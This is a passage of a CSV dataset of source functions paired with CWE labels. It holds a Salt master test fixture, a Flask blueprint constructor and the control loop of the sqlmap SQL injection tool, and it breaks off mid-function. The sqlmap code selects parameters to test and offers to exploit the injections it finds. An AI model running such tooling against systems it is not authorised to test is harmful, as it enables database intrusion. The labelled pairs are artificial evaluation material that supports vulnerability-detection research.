            str(salt_factories.get_salt_log_handlers_path()),
        ],
    }
    if platform.is_darwin():
        config_defaults[""enable_fqdns_grains""] = False
    config_overrides = {
        ""timeout"": 30,
        ""file_roots"": state_tree.as_dict(),
        ""pillar_roots"": pillar_tree.as_dict(),
        ""rest_cherrypy"": {""port"": 8000, ""disable_ssl"": True},
        ""netapi_enable_clients"": [""local""],
        ""external_auth"": {""auto"": {""saltdev"": ["".*""]}},
    }
    test_user = False
    master_config = install_salt.config_path / ""master""
    if master_config.exists():
        with open(master_config) as fp:
            data = yaml.safe_load(fp)
            if data and ""user"" in data:
                test_user = True
                # We are testing a different user, so we need to test the system
                # configs, or else permissions will not be correct.
                config_overrides[""user""] = data[""user""]
                config_overrides[""log_file""] = salt.config.DEFAULT_MASTER_OPTS.get(
                    ""log_file""
                )
                config_overrides[""root_dir""] = salt.config.DEFAULT_MASTER_OPTS.get(
                    ""root_dir""
                )
                config_overrides[""key_logfile""] = salt.config.DEFAULT_MASTER_OPTS.get(
                    ""key_logfile""
                )
                config_overrides[""pki_dir""] = salt.config.DEFAULT_MASTER_OPTS.get(
                    ""pki_dir""
                )
                config_overrides[""api_logfile""] = salt.config.DEFAULT_API_OPTS.get(
                    ""api_logfile""
                )
                config_overrides[""api_pidfile""] = salt.config.DEFAULT_API_OPTS.get(
                    ""api_pidfile""
                )
                # verify files were set with correct owner/group
                verify_files = [
                    pathlib.Path(""/var"", ""log"", ""salt"", ""master""),
                    pathlib.Path(""/etc"", ""salt"", ""pki"", ""master""),
                    pathlib.Path(""/etc"", ""salt"", ""master.d""),
                    pathlib.Path(""/var"", ""cache"", ""salt"", ""master""),
                    pathlib.Path(""/var"", ""run"", ""salt"", ""master""),
                ]
                for _file in verify_files:
                    assert _file.owner() == ""salt""
                    assert _file.group() == ""salt""

    if (platform.is_windows() or platform.is_darwin()) and install_salt.singlebin:
        start_timeout = 240
        # For every minion started we have to accept it's key.
        # On windows, using single binary, it has to decompress it and run the command. Too slow.
        # So, just in this scenario, use open mode
        config_overrides[""open_mode""] = True
    master_script = False
    if platform.is_windows():
        if install_salt.classic:
            master_script = True
        # this check will need to be changed to install_salt.relenv
        # once the package version returns 3006 and not 3005 on master
        if install_salt.relenv:
            master_script = True
        elif not install_salt.upgrade:
            master_script = True

    if master_script:
        salt_factories.system_install = False
        scripts_dir = salt_factories.root_dir / ""Scripts""
        scripts_dir.mkdir(exist_ok=True)
        salt_factories.scripts_dir = scripts_dir
        config_overrides[""open_mode""] = True
        python_executable = install_salt.bin_dir / ""Scripts"" / ""python.exe""
        if install_salt.classic:
            python_executable = install_salt.bin_dir / ""python.exe""
        if install_salt.relenv:
            python_executable = install_salt.install_dir / ""Scripts"" / ""python.exe""
        factory = salt_factories.salt_master_daemon(
            random_string(""master-""),
            defaults=config_defaults,
            overrides=config_overrides,
            factory_class=SaltMasterWindows,
            salt_pkg_install=install_salt,
            python_executable=python_executable,
        )
        salt_factories.system_install = True
    else:
        factory = salt_factories.salt_master_daemon(
            random_string(""master-""),
            defaults=config_defaults,
            overrides=config_overrides,
            factory_class=SaltMaster,
            salt_pkg_install=install_salt,
        )
    factory.after_terminate(pytest.helpers.remove_stale_master_key, factory)
    if test_user:
        # Salt factories calls salt.utils.verify.verify_env
        # which sets root perms on /etc/salt/pki/master since we are running
        # the test suite as root, but we want to run Salt master as salt
        # We ensure those permissions where set by the package earlier
        subprocess.run(
            [
                ""chown"",
                ""-R"",
                ""salt:salt"",
                str(pathlib.Path(""/etc"", ""salt"", ""pki"", ""master"")),
            ]
        )
        # The engines_dirs is created in .nox path. We need to set correct perms
        # for the user running the Salt Master
        subprocess.run([""chown"", ""-R"", ""salt:salt"", str(CODE_DIR.parent / "".nox"")])
        file_roots = pathlib.Path(""/srv/"", ""salt"")
        pillar_roots = pathlib.Path(""/srv/"", ""pillar"")
        for _dir in [file_roots, pillar_roots]:
            subprocess.run([""chown"", ""-R"", ""salt:salt"", str(_dir)])

    with factory.started(start_timeout=start_timeout):
        yield factory",CWE-703,saltstack/salt,cc7611e1dbe4f2567f6a87557b58ed4d92f4a305,"def salt_master(salt_factories, install_salt, state_tree, pillar_tree):
    """"""
    Start up a master
    """"""
    start_timeout = None
    # Since the daemons are ""packaged"" with tiamat, the salt plugins provided
    # by salt-factories won't be discovered. Provide the required `*_dirs` on
    # the configuration so that they can still be used.
    config_defaults = {
        ""engines_dirs"": [
            str(salt_factories.get_salt_engines_path()),
        ],
        ""log_handlers_dirs"": [
            str(salt_factories.get_salt_log_handlers_path()),
        ],
    }
    if platform.is_darwin():
        config_defaults[""enable_fqdns_grains""] = False
    config_overrides = {
        ""timeout"": 30,
        ""file_roots"": state_tree.as_dict(),
        ""pillar_roots"": pillar_tree.as_dict(),
        ""rest_cherrypy"": {""port"": 8000, ""disable_ssl"": True},
        ""netapi_enable_clients"": [""local""],
        ""external_auth"": {""auto"": {""saltdev"": ["".*""]}},
    }
    test_user = False
    master_config = install_salt.config_path / ""master""
    if master_config.exists():
        with open(master_config) as fp:
            data = yaml.safe_load(fp)
            if data and ""user"" in data:
                test_user = True
                # We are testing a different user, so we need to test the system
                # configs, or else permissions will not be correct.
                config_overrides[""user""] = data[""user""]
                config_overrides[""log_file""] = salt.config.DEFAULT_MASTER_OPTS.get(
                    ""log_file""
                )
                config_overrides[""root_dir""] = salt.config.DEFAULT_MASTER_OPTS.get(
                    ""root_dir""
                )
                config_overrides[""key_logfile""] = salt.config.DEFAULT_MASTER_OPTS.get(
                    ""key_logfile""
                )
                config_overrides[""pki_dir""] = salt.config.DEFAULT_MASTER_OPTS.get(
                    ""pki_dir""
                )
                config_overrides[""api_logfile""] = salt.config.DEFAULT_API_OPTS.get(
                    ""api_logfile""
                )
                config_overrides[""api_pidfile""] = salt.config.DEFAULT_API_OPTS.get(
                    ""api_pidfile""
                )
                # verify files were set with correct owner/group
                verify_files = [
                    pathlib.Path(""/var"", ""log"", ""salt"", ""master""),
                    pathlib.Path(""/etc"", ""salt"", ""pki"", ""master""),
                    pathlib.Path(""/etc"", ""salt"", ""master.d""),
                    pathlib.Path(""/var"", ""cache"", ""salt"", ""master""),
                    pathlib.Path(""/var"", ""run"", ""salt"", ""master""),
                ]
                for _file in verify_files:
                    assert _file.owner() == ""salt""
                    assert _file.group() == ""salt""

    if (platform.is_windows() or platform.is_darwin()) and install_salt.singlebin:
        start_timeout = 240
        # For every minion started we have to accept it's key.
        # On windows, using single binary, it has to decompress it and run the command. Too slow.
        # So, just in this scenario, use open mode
        config_overrides[""open_mode""] = True
    master_script = False
    if platform.is_windows():
        if install_salt.classic:
            master_script = True
        # this check will need to be changed to install_salt.relenv
        # once the package version returns 3006 and not 3005 on master
        if install_salt.relenv:
            master_script = True
        elif not install_salt.upgrade:
            master_script = True

    if master_script:
        salt_factories.system_install = False
        scripts_dir = salt_factories.root_dir / ""Scripts""
        scripts_dir.mkdir(exist_ok=True)
        salt_factories.scripts_dir = scripts_dir
        config_overrides[""open_mode""] = True
        python_executable = install_salt.bin_dir / ""Scripts"" / ""python.exe""
        if install_salt.classic:
            python_executable = install_salt.bin_dir / ""python.exe""
        if install_salt.relenv:
            python_executable = install_salt.install_dir / ""Scripts"" / ""python.exe""
        factory = salt_factories.salt_master_daemon(
            random_string(""master-""),
            defaults=config_defaults,
            overrides=config_overrides,
            factory_class=SaltMasterWindows,
            salt_pkg_install=install_salt,
            python_executable=python_executable,
        )
        salt_factories.system_install = True
    else:
        factory = salt_factories.salt_master_daemon(
            random_string(""master-""),
            defaults=config_defaults,
            overrides=config_overrides,
            factory_class=SaltMaster,
            salt_pkg_install=install_salt,
        )
    factory.after_terminate(pytest.helpers.remove_stale_master_key, factory)
    if test_user:
        # Salt factories calls salt.utils.verify.verify_env
        # which sets root perms on /var/log/salt since we are running
        # the test suite as root, but we want to run Salt master as salt
        # We ensure those permissions where set by the package earlier
        shutil.chown(pathlib.Path(""/var"", ""log"", ""salt""), ""salt"", ""salt"")
        # The engines_dirs is created in .nox path. We need to set correct perms
        # for the user running the Salt Master
        subprocess.run([""chown"", ""-R"", ""salt:salt"", str(CODE_DIR.parent / "".nox"")])
        file_roots = pathlib.Path(""/srv/"", ""salt"")
        pillar_roots = pathlib.Path(""/srv/"", ""pillar"")
        for _dir in [file_roots, pillar_roots]:
            subprocess.run([""chown"", ""-R"", ""salt:salt"", str(_dir)])

    with factory.started(start_timeout=start_timeout):
        yield factory"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/blueprints.py,0,"def __init__(
        self,
        blueprint: ""Blueprint"",
        app: ""Flask"",
        options: t.Any,
        first_registration: bool,
    ) -> None:
        #: a reference to the current application
        self.app = app

        #: a reference to the blueprint that created this setup state.
        self.blueprint = blueprint

        #: a dictionary with all options that were passed to the
        #: :meth:`~flask.Flask.register_blueprint` method.
        self.options = options

        #: as blueprints can be registered multiple times with the
        #: application and not everything wants to be registered
        #: multiple times on it, this attribute can be used to figure
        #: out if the blueprint was registered in the past already.
        self.first_registration = first_registration

        subdomain = self.options.get(""subdomain"")
        if subdomain is None:
            subdomain = self.blueprint.subdomain

        #: The subdomain that the blueprint should be active for, ``None``
        #: otherwise.
        self.subdomain = subdomain

        url_prefix = self.options.get(""url_prefix"")
        if url_prefix is None:
            url_prefix = self.blueprint.url_prefix
        #: The prefix that should be used for all URLs defined on the
        #: blueprint.
        self.url_prefix = url_prefix

        self.name = self.options.get(""name"", blueprint.name)
        self.name_prefix = self.options.get(""name_prefix"", """")

        #: A dictionary with URL defaults that is added to each and every
        #: URL that was defined with the blueprint.
        self.url_defaults = dict(self.blueprint.url_values_defaults)
        self.url_defaults.update(self.options.get(""url_defaults"", ()))",,pallets/flask,3257b7574e7f010686a617197e0fb4596986f7f7,"def __init__(
        self,
        blueprint: ""Blueprint"",
        app: ""Flask"",
        options: t.Any,
        first_registration: bool,
    ) -> None:
        #: a reference to the current application
        self.app = app

        #: a reference to the blueprint that created this setup state.
        self.blueprint = blueprint

        #: a dictionary with all options that were passed to the
        #: :meth:`~flask.Flask.register_blueprint` method.
        self.options = options

        #: as blueprints can be registered multiple times with the
        #: application and not everything wants to be registered
        #: multiple times on it, this attribute can be used to figure
        #: out if the blueprint was registered in the past already.
        self.first_registration = first_registration

        subdomain = self.options.get(""subdomain"")
        if subdomain is None:
            subdomain = self.blueprint.subdomain

        #: The subdomain that the blueprint should be active for, ``None``
        #: otherwise.
        self.subdomain = subdomain

        url_prefix = self.options.get(""url_prefix"")
        if url_prefix is None:
            url_prefix = self.blueprint.url_prefix
        #: The prefix that should be used for all URLs defined on the
        #: blueprint.
        self.url_prefix = url_prefix

        self.name_prefix = self.options.get(""name_prefix"", """")

        #: A dictionary with URL defaults that is added to each and every
        #: URL that was defined with the blueprint.
        self.url_defaults = dict(self.blueprint.url_values_defaults)
        self.url_defaults.update(self.options.get(""url_defaults"", ()))"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/controller/controller.py,0,"def start():
    """"""
    This function calls a function that performs checks on both URL
    stability and all GET, POST, Cookie and User-Agent parameters to
    check if they are dynamic and SQL injection affected
    """"""

    if conf.hashFile:
        crackHashFile(conf.hashFile)

    if conf.direct:
        initTargetEnv()
        setupTargetEnv()
        action()
        return True

    if conf.url and not any((conf.forms, conf.crawlDepth)):
        kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))

    if conf.configFile and not kb.targets:
        errMsg = ""you did not edit the configuration file properly, set ""
        errMsg += ""the target URL, list of targets or google dork""
        logger.error(errMsg)
        return False

    if kb.targets and len(kb.targets) > 1:
        infoMsg = ""found a total of %d targets"" % len(kb.targets)
        logger.info(infoMsg)

    hostCount = 0
    initialHeaders = list(conf.httpHeaders)

    for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
        try:
            if conf.checkInternet:
                infoMsg = ""checking for Internet connection""
                logger.info(infoMsg)

                if not checkInternet():
                    warnMsg = ""[%s] [WARNING] no connection detected"" % time.strftime(""%X"")
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(conf.retries):
                        if checkInternet():
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(5)

                    if not valid:
                        errMsg = ""please check your Internet connection and rerun""
                        raise SqlmapConnectionException(errMsg)
                    else:
                        dataToStdout(""\n"")

            conf.url = targetUrl
            conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
            conf.data = targetData
            conf.cookie = targetCookie
            conf.httpHeaders = list(initialHeaders)
            conf.httpHeaders.extend(targetHeaders or [])

            if conf.randomAgent or conf.mobile:
                for header, value in initialHeaders:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        conf.httpHeaders.append((header, value))
                        break

            conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]

            initTargetEnv()
            parseTargetUrl()

            testSqlInj = False

            if PLACE.GET in conf.parameters and not any((conf.data, conf.testParameter)):
                for parameter in re.findall(r""([^=]+)=([^%s]+%s?|\Z)"" % (re.escape(conf.paramDel or """") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or """") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]):
                    paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0])

                    if paramKey not in kb.testedParams:
                        testSqlInj = True
                        break
            else:
                paramKey = (conf.hostname, conf.path, None, None)
                if paramKey not in kb.testedParams:
                    testSqlInj = True

            if testSqlInj and conf.hostname in kb.vulnHosts:
                if kb.skipVulnHost is None:
                    message = ""SQL injection vulnerability has already been detected ""
                    message += ""against '%s'. Do you want to skip "" % conf.hostname
                    message += ""further tests involving it? [Y/n]""

                    kb.skipVulnHost = readInput(message, default='Y', boolean=True)

                testSqlInj = not kb.skipVulnHost

            if not testSqlInj:
                infoMsg = ""skipping '%s'"" % targetUrl
                logger.info(infoMsg)
                continue

            if conf.multipleTargets:
                hostCount += 1

                if conf.forms and conf.method:
                    message = ""[#%d] form:\n%s %s"" % (hostCount, conf.method, targetUrl)
                else:
                    message = ""URL %d:\n%s %s"" % (hostCount, HTTPMETHOD.GET, targetUrl)

                if conf.cookie:
                    message += ""\nCookie: %s"" % conf.cookie

                if conf.data is not None:
                    message += ""\n%s data: %s"" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or """") if re.search(r""\A\s*[<{]"", conf.data or """") is None else conf.data)

                if conf.forms and conf.method:
                    if conf.method == HTTPMETHOD.GET and targetUrl.find(""?"") == -1:
                        continue

                    message += ""\ndo you want to test this form? [Y/n/q] ""
                    choice = readInput(message, default='Y').upper()

                    if choice == 'N':
                        continue
                    elif choice == 'Q':
                        break
                    else:
                        if conf.method != HTTPMETHOD.GET:
                            message = ""Edit %s data [default: %s]%s: "" % (conf.method, urlencode(conf.data or """") if re.search(r""\A\s*[<{]"", conf.data or ""None"") is None else conf.data, "" (Warning: blank fields detected)"" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else """")
                            conf.data = readInput(message, default=conf.data)
                            conf.data = _randomFillBlankFields(conf.data)
                            conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data

                        else:
                            if '?' in targetUrl:
                                firstPart, secondPart = targetUrl.split('?', 1)
                                message = ""Edit GET data [default: %s]: "" % secondPart
                                test = readInput(message, default=secondPart)
                                test = _randomFillBlankFields(test)
                                conf.url = ""%s?%s"" % (firstPart, test)

                        parseTargetUrl()

                else:
                    if not conf.scope:
                        message += ""\ndo you want to test this URL? [Y/n/q]""
                        choice = readInput(message, default='Y').upper()

                        if choice == 'N':
                            dataToStdout(os.linesep)
                            continue
                        elif choice == 'Q':
                            break
                    else:
                        pass

                    infoMsg = ""testing URL '%s'"" % targetUrl
                    logger.info(infoMsg)

            setupTargetEnv()

            if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
                continue

            if conf.rParam and kb.originalPage:
                kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)])

                for match in re.finditer(r""(?si)<select[^>]+\bname\s*=\s*[\""']([^\""']+)(.+?)</select>"", kb.originalPage):
                    name, _ = match.groups()
                    options = tuple(re.findall(r""<option[^>]+\bvalue\s*=\s*[\""']([^\""']+)"", _))
                    if options:
                        kb.randomPool[name] = options

            checkWaf()

            if conf.nullConnection:
                checkNullConnection()

            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):

                if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
                    # NOTE: this is not needed anymore, leaving only to display
                    # a warning message to the user in case the page is not stable
                    checkStability()

                # Do a little prioritization reorder of a testable parameter list
                parameters = list(conf.parameters.keys())

                # Order of testing list (first to last)
                orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)

                for place in orderList[::-1]:
                    if place in parameters:
                        parameters.remove(place)
                        parameters.insert(0, place)

                proceed = True
                for place in parameters:
                    # Test User-Agent and Referer headers only if
                    # --level >= 3
                    skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3))
                    skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3))

                    # --param-filter
                    skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)

                    # Test Host header only if
                    # --level >= 5
                    skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5))

                    # Test Cookie header only if --level >= 2
                    skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2))

                    skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None))
                    skip |= (place == PLACE.HOST and intersect(PLACE.HOST, conf.skip, True) not in ([], None))

                    skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True))
                    skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True))

                    if skip:
                        continue

                    if place not in conf.paramDict:
                        continue

                    paramDict = conf.paramDict[place]

                    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place

                    for parameter, value in paramDict.items():
                        if not proceed:
                            break

                        kb.vainRun = False
                        testSqlInj = True
                        paramKey = (conf.hostname, conf.path, place, parameter)

                        if paramKey in kb.testedParams:
                            testSqlInj = False

                            infoMsg = ""skipping previously processed %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif any(_ in conf.testParameter for _ in (parameter, removePostHintPrefix(parameter))):
                            pass

                        elif parameter in conf.rParam:
                            testSqlInj = False

                            infoMsg = ""skipping randomizing %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip:
                            testSqlInj = False

                            infoMsg = ""skipping %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)):
                            testSqlInj = False

                            infoMsg = ""skipping %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif conf.csrfToken and re.search(conf.csrfToken, parameter, re.I):
                            testSqlInj = False

                            infoMsg = ""skipping anti-CSRF token parameter '%s'"" % parameter
                            logger.info(infoMsg)

                        # Ignore session-like parameters for --level < 4
                        elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
                            testSqlInj = False

                            infoMsg = ""ignoring %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                            logger.info(infoMsg)

                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic:
                            check = checkDynParam(place, parameter, value)

                            if not check:
                                warnMsg = ""%sparameter '%s' does not appear to be dynamic"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                logger.warn(warnMsg)

                                if conf.skipStatic:
                                    infoMsg = ""skipping static %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                    logger.info(infoMsg)

                                    testSqlInj = False
                            else:
                                infoMsg = ""%sparameter '%s' appears to be dynamic"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                logger.info(infoMsg)

                        kb.testedParams.add(paramKey)

                        if testSqlInj:
                            try:
                                if place == PLACE.COOKIE:
                                    pushValue(kb.mergeCookies)
                                    kb.mergeCookies = False

                                check = heuristicCheckSqlInjection(place, parameter)

                                if check != HEURISTIC_TEST.POSITIVE:
                                    if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED):
                                        infoMsg = ""skipping %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                        logger.info(infoMsg)
                                        continue

                                infoMsg = ""testing for SQL injection on %sparameter '%s'"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                logger.info(infoMsg)

                                injection = checkSqlInjection(place, parameter, value)
                                proceed = not kb.endDetection
                                injectable = False

                                if getattr(injection, ""place"", None) is not None:
                                    if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
                                        kb.falsePositives.append(injection)
                                    else:
                                        injectable = True

                                        kb.injections.append(injection)

                                        # In case when user wants to end detection phase (Ctrl+C)
                                        if not proceed:
                                            break

                                        msg = ""%sparameter '%s' "" % (""%s "" % injection.place if injection.place != injection.parameter else """", injection.parameter)
                                        msg += ""is vulnerable. Do you want to keep testing the others (if any)? [y/N] ""

                                        if not readInput(msg, default='N', boolean=True):
                                            proceed = False
                                            paramKey = (conf.hostname, conf.path, None, None)
                                            kb.testedParams.add(paramKey)

                                if not injectable:
                                    warnMsg = ""%sparameter '%s' does not seem to be injectable"" % (""%s "" % paramType if paramType != parameter else """", parameter)
                                    logger.warn(warnMsg)

                            finally:
                                if place == PLACE.COOKIE:
                                    kb.mergeCookies = popValue()

            if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None):
                if kb.vainRun and not conf.multipleTargets:
                    errMsg = ""no parameter(s) found for testing in the provided data ""
                    errMsg += ""(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')""
                    if kb.originalPage:
                        advice = []
                        if not conf.forms and re.search(r""<form"", kb.originalPage) is not None:
                            advice.append(""--forms"")
                        if not conf.crawlDepth and re.search(r""href=[\""']/?\w"", kb.originalPage) is not None:
                            advice.append(""--crawl=2"")
                        if advice:
                            errMsg += "". You are advised to rerun with '%s'"" % ' '.join(advice)
                    raise SqlmapNoneDataException(errMsg)
                else:
                    errMsg = ""all tested parameters do not appear to be injectable.""

                    if conf.level < 5 or conf.risk < 3:
                        errMsg += "" Try to increase values for '--level'/'--risk' options ""
                        errMsg += ""if you wish to perform more tests.""

                    if isinstance(conf.technique, list) and len(conf.technique) < 5:
                        errMsg += "" Rerun without providing the option '--technique'.""

                    if not conf.textOnly and kb.originalPage:
                        percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage))

                        if kb.dynamicMarkings:
                            errMsg += "" You can give it a go with the switch '--text-only' ""
                            errMsg += ""if the target page has a low percentage ""
                            errMsg += ""of textual content (~%.2f%% of "" % percent
                            errMsg += ""page content is text).""
                        elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone:
                            errMsg += "" Please retry with the switch '--text-only' ""
                            errMsg += ""(along with --technique=BU) as this case ""
                            errMsg += ""looks like a perfect candidate ""
                            errMsg += ""(low textual content along with inability ""
                            errMsg += ""of comparison engine to detect at least ""
                            errMsg += ""one dynamic parameter).""

                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE:
                        errMsg += "" As heuristic test turned out positive you are ""
                        errMsg += ""strongly advised to continue on with the tests.""

                    if conf.string:
                        errMsg += "" Also, you can try to rerun by providing a ""
                        errMsg += ""valid value for option '--string' as perhaps the string you ""
                        errMsg += ""have chosen does not match ""
                        errMsg += ""exclusively True responses.""
                    elif conf.regexp:
                        errMsg += "" Also, you can try to rerun by providing a ""
                        errMsg += ""valid value for option '--regexp' as perhaps the regular ""
                        errMsg += ""expression that you have chosen ""
                        errMsg += ""does not match exclusively True responses.""

                    if not conf.tamper:
                        errMsg += "" If you suspect that there is some kind of protection mechanism ""
                        errMsg += ""involved (e.g. WAF) maybe you could try to use ""
                        errMsg += ""option '--tamper' (e.g. '--tamper=space2comment')""

                        if not conf.randomAgent:
                            errMsg += "" and/or switch '--random-agent'""

                    raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
            else:
                # Flush the flag
                kb.testMode = False

                _saveToResultsFile()
                _saveToHashDB()
                _showInjections()
                _selectInjection()

            if kb.injection.place is not None and kb.injection.parameter is not None:
                if conf.multipleTargets:
                    message = ""do you want to exploit this SQL injection? [Y/n] ""
                    condition = readInput(message, default='Y', boolean=True)
                else:
                    condition = True

                if condition:
                    action()

        except KeyboardInterrupt:
            if conf.multipleTargets:
                warnMsg = ""user aborted in multiple target mode""
                logger.warn(warnMsg)

                message = ""do you want to skip to the next target in list? [Y/n/q]""
                choice = readInput(message, default='Y').upper()

                if choice == 'N':
                    return False
                elif choice == 'Q':
                    raise SqlmapUserQuitException
            else:
                raise

        except SqlmapSkipTargetException:
            pass

        except SqlmapUserQuitException:
            raise

        except SqlmapSilentQuitException:
            raise

        except SqlmapBaseException as ex:
            errMsg = getSafeExString(ex)

            if conf.multipleTargets:
                _saveToResultsFile()

                errMsg += "", skipping to the next %s"" % (""form"" if conf.forms else ""URL"")
                logger.error(errMsg.lstrip("", ""))
            else:
                logger.critical(errMsg)
                return False

        finally:
            showHttpErrorCodes()

            if kb.maxConnectionsFlag:
                warnMsg = ""it appears that the target ""
                warnMsg += ""has a maximum connections ""
                warnMsg += ""constraint""
                logger.warn(warnMsg)

    if kb.dataOutputFlag and not conf.multipleTargets:
        logger.info(""fetched data logged to text files under '%s'"" % conf.outputPath)

    if conf.multipleTargets:
        if conf.resultsFile:
            infoMsg = ""you can find results of scanning in multiple targets ""
            infoMsg += ""mode inside the CSV file '%s'"" % conf.resultsFile
            logger.info(infoMsg)

    return True",,sqlmapproject/sqlmap,d9e540e8b28c46abb466375de4d09c80b670505b,"def start():
    """"""
    This function calls a function that performs checks on both URL
    stability and all GET, POST, Cookie and User-Agent parameters to
    check if they are dynamic and SQL injection affected
    """"""

    if conf.hashFile:
        crackHashFile(conf.hashFile)

    if conf.direct:
        initTargetEnv()
        setupTargetEnv()
        action()
        return True

    if conf.url and not any((conf.forms, conf.crawlDepth)):
        kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))

    if conf.configFile and not kb.targets:
        errMsg = ""you did not edit the configuration file properly, set ""
        errMsg += ""the target URL, list of targets or google dork""
        logger.error(errMsg)
        return False

    if kb.targets and len(kb.targets) > 1:
        infoMsg = ""found a total of %d targets"" % len(kb.targets)
        logger.info(infoMsg)

    hostCount = 0
    initialHeaders = list(conf.httpHeaders)

    for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
        try:
            if conf.checkInternet:
                infoMsg = ""checking for Internet connection""
                logger.info(infoMsg)

                if not checkInternet():
                    warnMsg = ""[%s] [WARNING] no connection detected"" % time.strftime(""%X"")
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(conf.retries):
                        if checkInternet():
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(5)

                    if not valid:
                        errMsg = ""please check your Internet connection and rerun""
                        raise SqlmapConnectionException(errMsg)
                    else:
                        dataToStdout(""\n"")

            conf.url = targetUrl
            conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
            conf.data = targetData
            conf.cookie = targetCookie
            conf.httpHeaders = list(initialHeaders)
            conf.httpHeaders.extend(targetHeaders or [])

            if conf.randomAgent or conf.mobile:
                for header, value in initialHeaders:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        conf.httpHeaders.append((header, value))
                        break

            conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]

            initTargetEnv()
            parseTargetUrl()

            testSqlInj = False

            if PLACE.GET in conf.parameters and not any((conf.data, conf.testParameter)):
                for parameter in re.findall(r""([^=]+)=([^%s]+%s?|\Z)"" % (re.escape(conf.paramDel or """") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or """") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]):
                    paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0])

                    if paramKey not in kb.testedParams:
                        testSqlInj = True
                        break
            else:
                paramKey = (conf.hostname, conf.path, None, None)
                if paramKey not in kb.testedParams:
                    testSqlInj = True

            if testSqlInj and conf.hostname in kb.vulnHosts:
                if kb.skipVulnHost is None:
                    message = ""SQL injection vulnerability has already been detected ""
